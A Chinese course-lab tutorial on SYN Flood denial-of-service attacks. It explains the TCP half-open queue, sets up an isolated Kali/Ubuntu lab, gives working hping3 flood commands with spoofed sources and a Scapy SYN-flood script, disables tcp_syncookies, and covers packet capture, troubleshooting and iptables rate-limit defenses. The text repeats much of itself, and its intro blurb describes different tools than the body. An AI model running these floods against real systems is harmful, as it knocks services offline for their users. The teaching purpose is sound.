简介一份面向高校网络安全课程与实验的Word文档围绕拒绝服务攻击DoS中的SYN Flood攻击展开完整实验记录。文档从攻击原理入手说明利用TCP协议缺陷发送大量SYN数据包消耗目标主机资源进而演示基于两台Windows XP虚拟机、Wireshark抓包工具和xdos.exe攻击工具的实操过程并给出关闭不必要服务、限制半开连接数、缩短超时、及时更新补丁等防范措施同时整理实验中的常见问题与排错体会。资源为单个Word文档容量213KB共1个docx文件阅读方便适合直接作为实验报告参考。已有631人学习浏览对理解DoS攻击机制和掌握基础防御思路具有较高参考价值。1. 拒绝服务攻击实验先搞清楚这个实验到底在做什么一次系统巡检时我发现一台服务器的 TCP 半连接数从几十暴涨到几万CPU 软中断占用持续 100%业务端口完全无响应。排查到最后发现只是有人对着公网 IP 发了一轮构造过的 SYN 包连完整的握手都没走完机器就被打瘫了。这就是拒绝服务攻击最典型的形态。网络攻击与防范这门课里做一次拒绝服务攻击实验正是把这类攻击由“听说过”变成“看得见、测得着、防得住”的关键一步。这篇笔记会带你走完整个实验链路原理怎么理解、环境怎么搭、攻击命令怎么发、抓包怎么分析、防御怎么验证以及最容易翻车的五个坑。适合正在写课设报告的学生也适合刚入门的安全运维照着复现一遍。2. 拒绝服务攻击的原理与分类SYN Flood 为什么能打瘫一个服务2.1 从 TCP 三次握手看半连接队列SYN Flood 的突破口理解拒绝服务攻击绕不开 TCP 三次握手。客户端先发一个 SYN 包服务端收到后把这个连接放进半连接队列同时回一个 SYNACK并等待客户端的 ACK。这个等待状态就是SYN_RECV。正常情况下客户端毫秒级就把 ACK 补上了半连接队列里的条目很快被清走。但攻击者可以只发 SYN、从不回 ACK。服务端的半连接队列被大量幽灵连接占满新来的正常连接请求无处安放被直接丢弃这就是 SYN Flood 的底层逻辑。实验里要直观看到这个队列的膨胀最直接的办法是在靶机上用ss命令观察状态。ss比老掉牙的netstat快得多而且可以直接按 TCP 状态过滤是排查连接类问题的首选工具。当攻击流量打过来时你会看到SYN-RECV状态的数量快速上涨而正常连接因为拿不到队列位置握手持续超时。# 在靶机上执行查看当前处于半连接状态的连接数量 ss -tan state syn-recv | wc -l这里-t表示只看 TCP 协议-a表示显示所有连接-n表示不做反向域名解析、直接显示 IP 和端口state syn-recv是按 TCP 状态过滤。最后wc -l统计行数。攻击前这条命令输出可能是 0 或个位数SYN Flood 打起来之后数字会快速爬到成百上千。我用它会很直观地确认“攻击有没有真正打进来”比盯着 CPU 使用率要靠谱得多——因为只有半连接数先上去软中断才会跟着飙起来。这一步是后面做对照实验的基础务必记录好攻击前的基数值。以下是一个简单的循环监控命令# 每秒输出一次半连接数方便记录攻击过程中的变化 while true; do echo $(date %T) SYN_RECV: $(ss -tan state syn-recv | wc -l); sleep 1; done把这条命令放在靶机上提前运行攻击开始后就能得到一个时间序列方便你事后把曲线画进实验报告。至于ss这个工具它直接读内核 socket 表不存在额外采集开销所以在受攻击的机器上临时跑一下完全没问题。2.2 三类典型攻击流量型、协议型、应用型的选型与识别教科书喜欢把拒绝服务攻击按 OSI 模型的层次来分但做实验时我习惯按“被打的是什么资源”来分。因为资源决定了你观察什么指标、用什么工具防御。下面这张表是我做实验时的选型依据也适合直接抄进实验报告的需求分析章节攻击类型消耗的资源典型代表主要特征有效防御方向流量型出口带宽、网卡处理能力UDP Flood、ICMP Flood网卡吞吐逼近物理上限丢包率上升带宽扩容、流量清洗、限速协议型TCP 协议栈、半连接队列SYN Flood、ACK FloodCPU 软中断高半连接爆满正常连接超时syncookies、半连接队列调优、SYN 限速应用型应用线程池、数据库连接池HTTP Slowloris、慢查询响应变慢进程数飙升连接一直建立但不释放反向代理超时、并发连接数限制这里有个容易误判的点很多新手做 UDP Flood 实验发现靶机 CPU 没怎么涨就以为攻击无效。实际上 UDP 流量大时瓶颈往往先出现在网卡中断和带宽上CPU 不是第一观察项。做实验时要先想清楚你现在打的是哪一层再去选观察指标。协议型攻击里SYN Flood 之所以最常被拿来当实验对象是因为它能以极小的包量打崩一台默认配置的服务器实验效果鲜明而且事后用ss就能直接看到半连接队列的变化取证非常容易。应用型攻击则更贴近真实业务场景但复现成本高需要搭建 Web 服务观察指标也更分散课设里如果时间紧不建议作为主实验。2.3 防火墙和 syncookies 对实验的干扰这里要提前打招呼在动手前必须先了解靶机上可能存在的两道“防御墙”。第一道是 iptables/防火墙软件它可能直接丢弃异常 SYN 包或做连接速率限制第二道是 Linux 内核自带的tcp_syncookies机制它在半连接队列溢出时用 Cookie 机制临时绕过队列完成握手从而缓解 SYN Flood。如果在实验前没关掉这两样你大概率会看到“打了半天靶机一点事没有”的尴尬结果。实验环境里要做的调整我在下一章展开但思想得先立起来这个实验本质上是在一个“裸奔”的靶机上观察攻击效果。生产环境恰恰是反着配置的实验做完记得把参数改回去。3. 搭建隔离实验环境用 Kali 和 Ubuntu 复现攻击的最小步骤3.1 实验拓扑与工具选型为什么用 hping3 而不是普通压力工具我的标准实验拓扑是三台虚拟机攻击机、靶机、抓包机。攻击机推荐 Kali Linux自带 hping3 和 Scapy省去编译安装的麻烦靶机建议 Ubuntu Server干净、缺省配置最接近默认情况抓包机可以选择任意 Linux 发行版甚至直接用 Wireshark 所在的机器。网络模式上三台机器必须接入同一个隔离虚拟网络我用的是 VirtualBox 的 host-only 网络或者 VMware 的“仅主机模式”这样攻击流量不会跑到物理网络里去。为什么选 hping3 而不是 Apache Bench 或者 ab 这类压测工具核心原因有两个。第一hping3 能伪造源 IP--rand-source参数让每个发出的包都带一个随机来源地址这是模拟真实攻击的关键能力而 ab 只能老老实实用本机 IP 发包第二hping3 可以精确控制 TCP 标志位只发 SYN 不发 ACK而压测工具发送的是完整合法的 HTTP 请求会被防御系统识别为正常流量。如果你想把攻击拆得更细比如精确控制发包间隔、随机源端口那就要用到 Scapy它像一个瑞士军刀能构造任意字段的数据包。下面是我建议的工具清单工具用途选用理由hping3发起 SYN Flood命令简单支持--flood和--rand-source实验够用Scapy定制攻击流量可精确控制发包速率和包内容适合做速率对比实验tcpdump靶机或抓包机上抓包轻量级入方向抓包不影响攻击效果Wireshark分析 pcap 文件图形化过滤和统计适合截图放进实验报告从这张表可以看出hping3 是主攻手Scapy 是备选方案tcpdump 和 Wireshark 负责取证。工具不要贪多一套链路跑通比什么都强。3.2 靶机基线采集攻击前先记录一份正常指标很多实验报告写得没有说服力问题不在过程描述而在缺基线。没有“攻击前正常状态”的数据你就无法量化攻击造成的影响。我一般会在靶机上先跑一段采集脚本把正常状态下的 CPU、内存、半连接数、网卡流量都记录成日志这个脚本同样适用于攻击结束后对比一举两得。下面是我每次实验前必跑的基线脚本你直接保存为baseline.sh执行即可#!/bin/bash # 靶机基线采集脚本攻击前与攻击后各执行一次 echo 采集时间: $(date) echo --- 负载与CPU --- uptime top -bn1 | head -5 echo --- 内存使用 --- free -m echo --- TCP连接状态统计 --- ss -tan | awk NR1{print $1} | sort | uniq -c echo --- 半连接(SYN_RECV)数量 --- ss -tan state syn-recv | wc -l echo --- 网卡流量 --- cat /proc/net/dev | grep eth0脚本里top -bn1表示以批处理模式只取一次快照head -5只保留最上面的几行摘要ss -tan加awk和sort uniq -c是为了把 TCP 状态按类别计数一眼看出 LISTEN、ESTAB 和 SYN_RECV 各有多少/proc/net/dev是内核暴露的网络统计接口grep eth0按网卡名过滤。这个脚本任何时候执行都不影响系统性能但要注意把eth0替换成你靶机上实际的网卡名可以用ip addr查看。基线采集完还要动一个关键参数把靶机内核的“抗攻击能力”调低。最影响试验效果的是tcp_syncookies它默认开启时半连接队列一旦满内核会启用 Cookie 机制绕过队列让攻击看起来“没有效果”。做实验时我们需要先把它关掉同时把半连接队列长度调小让攻击更容易触发队列溢出# 临时修改内核参数仅用于本次实验重启后失效 sysctl -w net.ipv4.tcp_syncookies0 sysctl -w net.ipv4.tcp_max_syn_backlog512 sysctl -ptcp_syncookies0是关闭 SYN Cookie 防护tcp_max_syn_backlog512是把半连接队列长度从默认的 1024 或更大值调小目的是让攻击在更短时间里打满队列。这两项配合才能在实验里看到“连接数爆表、服务不可用”的教科书效果。sysctl -p让修改立即生效。这里改动的其实是实验靶机的“防御值”相当于把游戏难度调低好让机制显形。注意生产服务器上的正确做法恰恰相反tcp_syncookies一般要保持开启。注意 这些内核参数是全局生效的修改后会影响当前虚拟机所有网络行为。实验结束后一定要sysctl -w net.ipv4.tcp_syncookies1恢复。4. 攻击实施与效果评估从 hping3 命令到抓包取证的完整链路4.1 用 hping3 发起 SYN Flood参数全景与一次最小攻击环境备好基线采完接下来就是核心环节。我用 hping3 发起的首次攻击一定不会直接上--flood因为那个参数会让攻击机自己先陷入半死状态。我会先用一条“限制包数”的命令验证网络链路和参数有没有打对。下面这条命令会向靶机发送 1000 个伪造源 IP 的 SYN 包# 在攻击机上执行先发送1000个SYN包验证链路 hping3 -S -p 80 -c 1000 --rand-source 192.168.56.101 /dev/null-S表示设置 SYN 标志-p 80指定目标端口为 80-c 1000限制发送数量为 1000 个--rand-source开启随机源 IP 伪造最后的 IP 是靶机地址 /dev/null把回显输出丢弃避免刷屏。1000 个包的数量级对虚拟机来说不会有实质杀伤但足够让靶机的半连接数出现明显波动。发完这条命令立刻去靶机上执行ss -tan state syn-recv | wc -l如果数量从 0 涨到了几十或上百说明链路通、参数对。链路验证通过后才是真正展示“攻击力”的时刻。下面这条命令才是实验报告里主菜但请一定在隔离网络里执行# 在攻击机上执行发起高强度的SYN Flood hping3 -S -p 80 --flood --rand-source 192.168.56.101这里把-c 1000换成了--flood。--flood模式会以最快速度发包完全忽略对端响应也不做任何重传控制CPU 和网卡有多快就打多快。跑上十几秒你再去靶机上看半连接数会瞬间冲破上限ss的输出里的SYN-RECV可能直接变成几百上千同时你从攻击机ping靶机会发现延迟飙升或者直接丢包。这时实验现象已经非常清晰可以打终止键停止 hping3。注意不要让--flood跑太久小规模实验环境里几十秒足够出土完整的数据再多也只是把报告时间轴拉长。4.2 用 Scapy 构造可控的 SYN 包当需要更精细的实验参数时hping3 的--flood是暴力模式节奏不可控。如果你的实验报告要求分析“发包速率与攻击效果的关系”那就得上 Scapy它能让你精确控制每秒发多少包。我用 Scapy 写过一个小脚本可以调整关键参数用来分段观察靶机的临界点# 攻击机执行Scapy 构造可控速率 SYN Flood from scapy.all import IP, TCP, send import random import time dst_ip 192.168.56.101 # 靶机 IP start_port 80 # 目标端口 packet_count 5000 # 总发包数 rate_interval 0.001 # 发包间隔(秒)越小速率越高 for i in range(packet_count): src_ip f10.0.{random.randint(1,254)}.{random.randint(1,254)} src_port random.randint(1024, 65535) pkt IP(srcsrc_ip, dstdst_ip) / TCP(sportsrc_port, dportstart_port, flagsS) send(pkt, verbose0) time.sleep(rate_interval)脚本里关键在于三个参数src_ip通过 f-string 随机生成 B 段和 C 段地址模拟分布式源src_port使用随机端口绕过对端按端口做的简单限制rate_interval控制发包间隔0.001 秒即每秒约 1000 包这个速率较温和适合对比实验。send(pkt, verbose0)表示静默发送不打印每个包的确认信息避免刷屏拖慢速率。要调整攻击强度只需要改rate_interval比如改成0.0001就是每秒上万包通常这个速率已经能在靶机上引发半连接队列溢出。用 Scapy 有一个额外好处它可以用src_ip固定来自写一个“源 IP 固定”的单源攻击版本用来对照验证分布式源 IP 的意义。你在实验报告里甚至可以画出两张图一张是单源攻击一张是随机源攻击对比靶机防御策略对不同特征流量的反应这比单纯堆命令要有价值得多。4.3 抓包取证用 tcpdump 把攻击过程固定下来实验不能只看一个ss数字真正的证据在报文里。我习惯在靶机上用 tcpdump 开一个抓包进程把攻击全程的数据包记录下来之后再拿到 Wireshark 里慢慢分析。抓包命令如下注意-c 5000是为了避免攻击流量过大把磁盘塞满抓到 5000 个包后自动停止# 在靶机上执行抓取到达80端口的TCP包保存为pcap文件 tcpdump -i eth0 -s 0 -c 5000 -w /tmp/attack.pcap tcp and dst port 80这条命令每个参数都有讲究-i eth0指定监听网卡必须和靶机实际网卡一致-s 0表示抓取完整数据包不截断这一步非常重要因为后续分析 SYN 标志位时如果包被截断TCP 头不完整过滤结果就会出错-c 5000是计数停止条件5000 个包足够分析特征又不会把文件撑爆-w /tmp/attack.pcap把原始包写入文件绝不能省略否则输出到终端会被刷爆。最后的过滤表达式tcp and dst port 80只保留 TCP 协议且目标端口是 80 的报文这在攻击场景下已经够用。抓包结束后直接用 tcpdump 从文件里统计 SYN 包数量验证攻击特征是否明显。下面这条命令会统计文件里所有 SYN 标志位的报文数量# 在靶机上执行统计pcap文件中的SYN包数量 tcpdump -r /tmp/attack.pcap -nn tcp[tcpflags] tcp-syn ! 0 2/dev/null | wc -l-r指定读取文件-nn不做端口名和主机名解析tcp[tcpflags] tcp-syn ! 0是伯克利包过滤语法里针对 TCP 标志位的位运算表达式专门匹配 SYN 标志位置位的包。如果这条命令统计出来的数量接近 5000也就是抓包数量说明绝大多数报文都是 SYN 包攻击特征非常纯粹。反过来如果发现 SYN 包只占一小部分那很可能是抓包时机没对准或者你抓的是正常业务流量。抓完包之后把 pcap 文件用 Wireshark 打开重点做三件事第一用tcp.flags.syn 1过滤出全部 SYN 包观察源 IP 的分布——随机源攻击下你会看到大量不同的源地址这是最直接的攻击证据第二查看 TCP 流的握手过程正常请求会看到 SYN、SYNACK、ACK 三个包依次出现而攻击流量里只有 SYN 和 SYNACK 的重复永远等不到 ACK第三用 Wireshark 的“统计”菜单生成 IO 图表把包速率曲线导出成图片直接贴进实验报告的效果分析部分。5. 拒绝服务攻击实验避坑指南5 个常见问题与排查思路5.1 现象一攻击机先挂了靶机却没事这是我第一次做实验时真实翻车的情况。hping3 加上--flood参数一跑攻击机本机瞬间失去响应ping 靶机也断了但靶机那边打开控制台一看负载几乎没变化。原因有两层。第一--flood模式会尽最大可能发包CPU 和网卡被打满攻击机自己成了第一个受害者第二虚拟机默认分配的单核 CPU 和一块虚拟网卡根本扛不住高速发包的软中断开销。这就好比你用一把枪在自己屋内开枪先震聋的是自己。解决方法是先用-c限制包数的命令做链路验证确认无误后再上强度如果一定要用--flood建议在攻击机的本地终端里执行不要远程 SSH 过去——远程会话在攻击机 CPU 打满时会直接断掉你连停止攻击的能力都没有。另外Kali 虚拟机至少分配 2 核 CPU网卡模式不要用 NAThost-only 或桥接直通性能更好。5.2 现象二抓包机丢包实验数据没法用在用 tcpdump 抓包时提示packets captured / packets dropped by kernel捕获的包数明显少于预期。实验做完发现统计结果和实际攻击包数对不上报告没法写。原因是抓包机性能不足或配置不当。抓包本身也是耗 CPU 和内存的当攻击流量速率很高时内核 socket 接收缓冲区塞满后续数据包直接被丢弃。特别是把抓包机和靶机放在同一台物理机上时两个虚拟机共享资源丢包更严重。解决的思路是先做隔离再做预留。抓包机尽量用独立的物理机或者在虚拟化平台上使用独立的主机网络适配器抓包时调整内核缓冲区大小在抓包前执行sysctl -w net.core.rmem_max50000000tcpdump 命令里可以使用-B参数加大缓冲区比如tcpdump -B 4096。我现在做实验时会先发 100 个测试包试试抓包机能不能全部接下再接后续的正式攻击。5.3 现象三攻击前后指标没变化怀疑工具没生效这个坑最具迷惑性。明明 hping3 在攻击机上发了半天靶机上ss显示半连接数还是 0CPU 负载纹丝不动业务访问完全正常。我上次在环境里碰见这个情况第一反应以为是命令打错了一排查才发现是靶机的系统默认配置帮了大忙。原因是多重的。最常见的是tcp_syncookies默认开启内核在队列溢出前就启用了 Cookie 握手机制你发再多的 SYN 包都被内核“巧妙”地处理掉了另一种可能是靶机防火墙策略拦截了异常流量还有可能是虚拟网络问题攻击机发出的包根本没到达靶机网卡。解决需要按顺序抽丝剥茧先在靶机上跑sysctl net.ipv4.tcp_syncookies确认值如果是 1先按第 3 章的命令改成 0再清空防火墙规则iptables -F或ufw disable最后在靶机上用tcpdump -i eth0 -c 100 tcp and dst port 80抓一下如果啥也抓不到回到虚拟网络配置查宿主机网卡有没有做带宽限制。把这三步走完基本能定位问题所在。5.4 现象四局域网被殃及宿主机也跟着掉线这个坑是运气好才没造成事故。某次实验我图省事攻击机和靶机全部接在 NAT 模式的默认虚拟网络里结果 SYN Flood 一开宿主机的物理网络直接闪断路由器重启才恢复。原因是--rand-source伪造了大量源 IP 的报文在虚拟交换机层面造成了 MAC 表和 ARP 表混乱虚拟机的广播流量挤占了宿主机的物理带宽如果攻击流量超过宿主机网卡的物理吞吐整台电脑的网络就会变得不可用。解决的底线是网络隔离。把实验网络从 NAT 模式改成 host-only 或自定义独立虚拟网络攻击机和靶机只在隔离网络内通信永远不要和宿主机共享同一网段。如果需要抓包机也把它放进同一个隔离网络。实验报告里可以画一张拓扑图标注“实验网络与外网物理隔离”这本身就是安全意识的加分项。5.5 现象五Wireshark 过滤不出 SYN 包抓了包文件也存下来了但在 Wireshark 里用tcp.flags.syn 1过滤结果却一个包都出不来或者过滤结果里混着大量乱七八糟的连接。我遇到过的原因有三种。第一种tcpdump 是在攻击机上抓的“出口包”抓到了本机生成但还没发出的包TCP 标志位不完整第二种-s参数没加或加了小数值报文被截断TCP 头部分析不了第三种抓包时间内攻击流量还没开始或者已经结束你抓的是空窗期。解决方法是统一在靶机上抓“入方向”的包用tcpdump -i eth0 -s 0 tcp and dst port 80同时注意先启动抓包再启动攻击保证时间窗覆盖。如果已经抓完用命令行先做一次过滤验证tcpdump -r /tmp/attack.pcap tcp[tcpflags] tcp-syn ! 0 | head -20能出内容再进 Wireshark避免在图形界面里反复试错。6. 防御与检测从被动挨打到主动识别攻击流量做实验不光是让靶机难看更要学会怎么让它“扛住”。我把第 3 章里弱化防御的操作反着执行一遍这就是最基本的防御恢复打开tcp_syncookies、调大半连接队列。但只做这一步等于在攻击面前竖起一道矮墙真正有点意思的是主动检测和流量限速。先说检测一个简单的半连接数监测脚本就能在攻击发生时及时报警#!/bin/bash # 靶机执行监控半连接数超过阈值写入日志 threshold200 while true; do syn_recv$(ss -tan state syn-recv | wc -l) if [ $syn_recv -gt $threshold ]; then echo $(date %F %T) 拒绝服务攻击预警: SYN_RECV$syn_recv (阈值$threshold) /var/log/dos_watch.log fi sleep 2 done这个脚本每秒采集一次半连接数超过 200 就写日志你可以把这个阈值依据第 3 章采集的基线来定一般是正常值的 3 到 5 倍。它不消耗多少资源开着也不碍事但攻击一来日志会立刻留下时间戳和当时的半连接值这是对抗类实验里最直接的证据。比这更进一步的防护是在 iptables 层面限制 SYN 包速率模拟真实防火墙的限速行为# 靶机执行对SYN包做速率限制仅用于实验演示 iptables -A INPUT -p tcp --syn -m limit --limit 20/s --limit-burst 50 -j ACCEPT iptables -A INPUT -p tcp --syn -j DROP第一条规则允许每秒 20 个 SYN 包进入突发上限是 50第二条规则把超过限制的 SYN 包直接丢掉。在攻击强度不是特别夸张时这条规则能保证正常用户握手成功同时让攻击者的包大量被丢弃。你可以重新运行第 4 章的攻击命令再看检测脚本会不会刷屏以及正常 TCP 请求能否连通。这整套流程走下来你的实验报告就从一个“把机器打死”的记录升级成了“攻击、检测、防御、验证”的闭环。做网络攻击与防范这门课的实验最大的收获不是把靶机打瘫那一瞬间的爽感而是知道打完以后怎么收拾残局、怎么把现象解释清楚。我现在的习惯是每次实验结束先把所有内核参数恢复默认再关虚拟机从没出过岔子。希望你也能保存好这套完整流程实验顺利希望帮到你。本文还有配套的精品资源点击获取 拒绝服务攻击实验：SYN Flood原理、环境搭建与防御验证
简介一份面向高校网络安全课程与实验的Word文档围绕拒绝服务攻击DoS中的SYN Flood攻击展开完整实验记录。文档从攻击原理入手说明利用TCP协议缺陷发送大量SYN数据包消耗目标主机资源进而演示基于两台Windows XP虚拟机、Wireshark抓包工具和xdos.exe攻击工具的实操过程并给出关闭不必要服务、限制半开连接数、缩短超时、及时更新补丁等防范措施同时整理实验中的常见问题与排错体会。资源为单个Word文档容量213KB共1个docx文件阅读方便适合直接作为实验报告参考。已有631人学习浏览对理解DoS攻击机制和掌握基础防御思路具有较高参考价值。1. 拒绝服务攻击实验先搞清楚这个实验到底在做什么一次系统巡检时我发现一台服务器的 TCP 半连接数从几十暴涨到几万CPU 软中断占用持续 100%业务端口完全无响应。排查到最后发现只是有人对着公网 IP 发了一轮构造过的 SYN 包连完整的握手都没走完机器就被打瘫了。这就是拒绝服务攻击最典型的形态。网络攻击与防范这门课里做一次拒绝服务攻击实验正是把这类攻击由“听说过”变成“看得见、测得着、防得住”的关键一步。这篇笔记会带你走完整个实验链路原理怎么理解、环境怎么搭、攻击命令怎么发、抓包怎么分析、防御怎么验证以及最容易翻车的五个坑。适合正在写课设报告的学生也适合刚入门的安全运维照着复现一遍。2. 拒绝服务攻击的原理与分类SYN Flood 为什么能打瘫一个服务2.1 从 TCP 三次握手看半连接队列SYN Flood 的突破口理解拒绝服务攻击绕不开 TCP 三次握手。客户端先发一个 SYN 包服务端收到后把这个连接放进半连接队列同时回一个 SYNACK并等待客户端的 ACK。这个等待状态就是SYN_RECV。正常情况下客户端毫秒级就把 ACK 补上了半连接队列里的条目很快被清走。但攻击者可以只发 SYN、从不回 ACK。服务端的半连接队列被大量幽灵连接占满新来的正常连接请求无处安放被直接丢弃这就是 SYN Flood 的底层逻辑。实验里要直观看到这个队列的膨胀最直接的办法是在靶机上用ss命令观察状态。ss比老掉牙的netstat快得多而且可以直接按 TCP 状态过滤是排查连接类问题的首选工具。当攻击流量打过来时你会看到SYN-RECV状态的数量快速上涨而正常连接因为拿不到队列位置握手持续超时。# 在靶机上执行查看当前处于半连接状态的连接数量 ss -tan state syn-recv | wc -l这里-t表示只看 TCP 协议-a表示显示所有连接-n表示不做反向域名解析、直接显示 IP 和端口state syn-recv是按 TCP 状态过滤。最后wc -l统计行数。攻击前这条命令输出可能是 0 或个位数SYN Flood 打起来之后数字会快速爬到成百上千。我用它会很直观地确认“攻击有没有真正打进来”比盯着 CPU 使用率要靠谱得多——因为只有半连接数先上去软中断才会跟着飙起来。这一步是后面做对照实验的基础务必记录好攻击前的基数值。以下是一个简单的循环监控命令# 每秒输出一次半连接数方便记录攻击过程中的变化 while true; do echo $(date %T) SYN_RECV: $(ss -tan state syn-recv | wc -l); sleep 1; done把这条命令放在靶机上提前运行攻击开始后就能得到一个时间序列方便你事后把曲线画进实验报告。至于ss这个工具它直接读内核 socket 表不存在额外采集开销所以在受攻击的机器上临时跑一下完全没问题。2.2 三类典型攻击流量型、协议型、应用型的选型与识别教科书喜欢把拒绝服务攻击按 OSI 模型的层次来分但做实验时我习惯按“被打的是什么资源”来分。因为资源决定了你观察什么指标、用什么工具防御。下面这张表是我做实验时的选型依据也适合直接抄进实验报告的需求分析章节攻击类型消耗的资源典型代表主要特征有效防御方向流量型出口带宽、网卡处理能力UDP Flood、ICMP Flood网卡吞吐逼近物理上限丢包率上升带宽扩容、流量清洗、限速协议型TCP 协议栈、半连接队列SYN Flood、ACK FloodCPU 软中断高半连接爆满正常连接超时syncookies、半连接队列调优、SYN 限速应用型应用线程池、数据库连接池HTTP Slowloris、慢查询响应变慢进程数飙升连接一直建立但不释放反向代理超时、并发连接数限制这里有个容易误判的点很多新手做 UDP Flood 实验发现靶机 CPU 没怎么涨就以为攻击无效。实际上 UDP 流量大时瓶颈往往先出现在网卡中断和带宽上CPU 不是第一观察项。做实验时要先想清楚你现在打的是哪一层再去选观察指标。协议型攻击里SYN Flood 之所以最常被拿来当实验对象是因为它能以极小的包量打崩一台默认配置的服务器实验效果鲜明而且事后用ss就能直接看到半连接队列的变化取证非常容易。应用型攻击则更贴近真实业务场景但复现成本高需要搭建 Web 服务观察指标也更分散课设里如果时间紧不建议作为主实验。2.3 防火墙和 syncookies 对实验的干扰这里要提前打招呼在动手前必须先了解靶机上可能存在的两道“防御墙”。第一道是 iptables/防火墙软件它可能直接丢弃异常 SYN 包或做连接速率限制第二道是 Linux 内核自带的tcp_syncookies机制它在半连接队列溢出时用 Cookie 机制临时绕过队列完成握手从而缓解 SYN Flood。如果在实验前没关掉这两样你大概率会看到“打了半天靶机一点事没有”的尴尬结果。实验环境里要做的调整我在下一章展开但思想得先立起来这个实验本质上是在一个“裸奔”的靶机上观察攻击效果。生产环境恰恰是反着配置的实验做完记得把参数改回去。3. 搭建隔离实验环境用 Kali 和 Ubuntu 复现攻击的最小步骤3.1 实验拓扑与工具选型为什么用 hping3 而不是普通压力工具我的标准实验拓扑是三台虚拟机攻击机、靶机、抓包机。攻击机推荐 Kali Linux自带 hping3 和 Scapy省去编译安装的麻烦靶机建议 Ubuntu Server干净、缺省配置最接近默认情况抓包机可以选择任意 Linux 发行版甚至直接用 Wireshark 所在的机器。网络模式上三台机器必须接入同一个隔离虚拟网络我用的是 VirtualBox 的 host-only 网络或者 VMware 的“仅主机模式”这样攻击流量不会跑到物理网络里去。为什么选 hping3 而不是 Apache Bench 或者 ab 这类压测工具核心原因有两个。第一hping3 能伪造源 IP--rand-source参数让每个发出的包都带一个随机来源地址这是模拟真实攻击的关键能力而 ab 只能老老实实用本机 IP 发包第二hping3 可以精确控制 TCP 标志位只发 SYN 不发 ACK而压测工具发送的是完整合法的 HTTP 请求会被防御系统识别为正常流量。如果你想把攻击拆得更细比如精确控制发包间隔、随机源端口那就要用到 Scapy它像一个瑞士军刀能构造任意字段的数据包。下面是我建议的工具清单工具用途选用理由hping3发起 SYN Flood命令简单支持--flood和--rand-source实验够用Scapy定制攻击流量可精确控制发包速率和包内容适合做速率对比实验tcpdump靶机或抓包机上抓包轻量级入方向抓包不影响攻击效果Wireshark分析 pcap 文件图形化过滤和统计适合截图放进实验报告从这张表可以看出hping3 是主攻手Scapy 是备选方案tcpdump 和 Wireshark 负责取证。工具不要贪多一套链路跑通比什么都强。3.2 靶机基线采集攻击前先记录一份正常指标很多实验报告写得没有说服力问题不在过程描述而在缺基线。没有“攻击前正常状态”的数据你就无法量化攻击造成的影响。我一般会在靶机上先跑一段采集脚本把正常状态下的 CPU、内存、半连接数、网卡流量都记录成日志这个脚本同样适用于攻击结束后对比一举两得。下面是我每次实验前必跑的基线脚本你直接保存为baseline.sh执行即可#!/bin/bash # 靶机基线采集脚本攻击前与攻击后各执行一次 echo 采集时间: $(date) echo --- 负载与CPU --- uptime top -bn1 | head -5 echo --- 内存使用 --- free -m echo --- TCP连接状态统计 --- ss -tan | awk NR1{print $1} | sort | uniq -c echo --- 半连接(SYN_RECV)数量 --- ss -tan state syn-recv | wc -l echo --- 网卡流量 --- cat /proc/net/dev | grep eth0脚本里top -bn1表示以批处理模式只取一次快照head -5只保留最上面的几行摘要ss -tan加awk和sort uniq -c是为了把 TCP 状态按类别计数一眼看出 LISTEN、ESTAB 和 SYN_RECV 各有多少/proc/net/dev是内核暴露的网络统计接口grep eth0按网卡名过滤。这个脚本任何时候执行都不影响系统性能但要注意把eth0替换成你靶机上实际的网卡名可以用ip addr查看。基线采集完还要动一个关键参数把靶机内核的“抗攻击能力”调低。最影响试验效果的是tcp_syncookies它默认开启时半连接队列一旦满内核会启用 Cookie 机制绕过队列让攻击看起来“没有效果”。做实验时我们需要先把它关掉同时把半连接队列长度调小让攻击更容易触发队列溢出# 临时修改内核参数仅用于本次实验重启后失效 sysctl -w net.ipv4.tcp_syncookies0 sysctl -w net.ipv4.tcp_max_syn_backlog512 sysctl -ptcp_syncookies0是关闭 SYN Cookie 防护tcp_max_syn_backlog512是把半连接队列长度从默认的 1024 或更大值调小目的是让攻击在更短时间里打满队列。这两项配合才能在实验里看到“连接数爆表、服务不可用”的教科书效果。sysctl -p让修改立即生效。这里改动的其实是实验靶机的“防御值”相当于把游戏难度调低好让机制显形。注意生产服务器上的正确做法恰恰相反tcp_syncookies一般要保持开启。注意 这些内核参数是全局生效的修改后会影响当前虚拟机所有网络行为。实验结束后一定要sysctl -w net.ipv4.tcp_syncookies1恢复。4. 攻击实施与效果评估从 hping3 命令到抓包取证的完整链路4.1 用 hping3 发起 SYN Flood参数全景与一次最小攻击环境备好基线采完接下来就是核心环节。我用 hping3 发起的首次攻击一定不会直接上--flood因为那个参数会让攻击机自己先陷入半死状态。我会先用一条“限制包数”的命令验证网络链路和参数有没有打对。下面这条命令会向靶机发送 1000 个伪造源 IP 的 SYN 包# 在攻击机上执行先发送1000个SYN包验证链路 hping3 -S -p 80 -c 1000 --rand-source 192.168.56.101 /dev/null-S表示设置 SYN 标志-p 80指定目标端口为 80-c 1000限制发送数量为 1000 个--rand-source开启随机源 IP 伪造最后的 IP 是靶机地址 /dev/null把回显输出丢弃避免刷屏。1000 个包的数量级对虚拟机来说不会有实质杀伤但足够让靶机的半连接数出现明显波动。发完这条命令立刻去靶机上执行ss -tan state syn-recv | wc -l如果数量从 0 涨到了几十或上百说明链路通、参数对。链路验证通过后才是真正展示“攻击力”的时刻。下面这条命令才是实验报告里主菜但请一定在隔离网络里执行# 在攻击机上执行发起高强度的SYN Flood hping3 -S -p 80 --flood --rand-source 192.168.56.101这里把-c 1000换成了--flood。--flood模式会以最快速度发包完全忽略对端响应也不做任何重传控制CPU 和网卡有多快就打多快。跑上十几秒你再去靶机上看半连接数会瞬间冲破上限ss的输出里的SYN-RECV可能直接变成几百上千同时你从攻击机ping靶机会发现延迟飙升或者直接丢包。这时实验现象已经非常清晰可以打终止键停止 hping3。注意不要让--flood跑太久小规模实验环境里几十秒足够出土完整的数据再多也只是把报告时间轴拉长。4.2 用 Scapy 构造可控的 SYN 包当需要更精细的实验参数时hping3 的--flood是暴力模式节奏不可控。如果你的实验报告要求分析“发包速率与攻击效果的关系”那就得上 Scapy它能让你精确控制每秒发多少包。我用 Scapy 写过一个小脚本可以调整关键参数用来分段观察靶机的临界点# 攻击机执行Scapy 构造可控速率 SYN Flood from scapy.all import IP, TCP, send import random import time dst_ip 192.168.56.101 # 靶机 IP start_port 80 # 目标端口 packet_count 5000 # 总发包数 rate_interval 0.001 # 发包间隔(秒)越小速率越高 for i in range(packet_count): src_ip f10.0.{random.randint(1,254)}.{random.randint(1,254)} src_port random.randint(1024, 65535) pkt 